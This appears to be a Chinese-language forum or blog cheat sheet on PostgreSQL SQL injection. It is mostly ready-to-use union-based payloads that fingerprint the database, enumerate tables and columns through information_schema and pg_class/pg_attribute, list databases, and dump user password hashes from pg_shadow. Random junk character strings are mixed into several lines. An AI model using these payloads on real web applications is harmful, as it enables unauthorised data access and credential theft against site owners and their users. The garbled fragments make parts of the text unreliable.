postgreSQL注入总结

admin

结合了MSSQL MySQL Oracle的一些特点

支持多语句执行，语句可以没有from

postgres用户是超级用户(创始人账户) 只有superuser有copy权限

注释: — , /**/
: ]7 h& e8 Y( o$ h1 I连接符: %20 , + , /**/

内置函数:
7 z, U1 E8 {/ X5 ocurrent_database() //当前数据库名
7 i5 }0 i2 b' ?, E* v- B& \session_user //会话用户
1 e/ Z3 |4 R9 X# q% Kcurrent_user //当前数据库用户
user //当前用户
' a8 f" P: _# V9 eversion() //数据库版本

Union注射:
order by n–
and 1=2 union select null,null,null–
9 f! T3 [0 e4 E" x6 qand 1=2 union select ‘beach’,null,null–
and 1=2 union select (select version()),null,null–

获取表名,字段名(新版本利用information_schema):
group_concat(table_name)
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–
(老版本)
pg_class.oid对应pg_attribute.attrelid
pg_class.relname表名
pg_attribute.attname字段名

select relname from pg_class获取表名
; u+ A4 {1 z7 _9 j2 B/ c+ [select oid from pg_class where 条件 获取参数
select attname from pg_attribute where attrelid=’oid的值’ 获取字段名

实战:
and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
+ ]7 z  V3 \2 `and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136

and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
3 A- x, Y* l* m1 U======================================================================
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
and 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码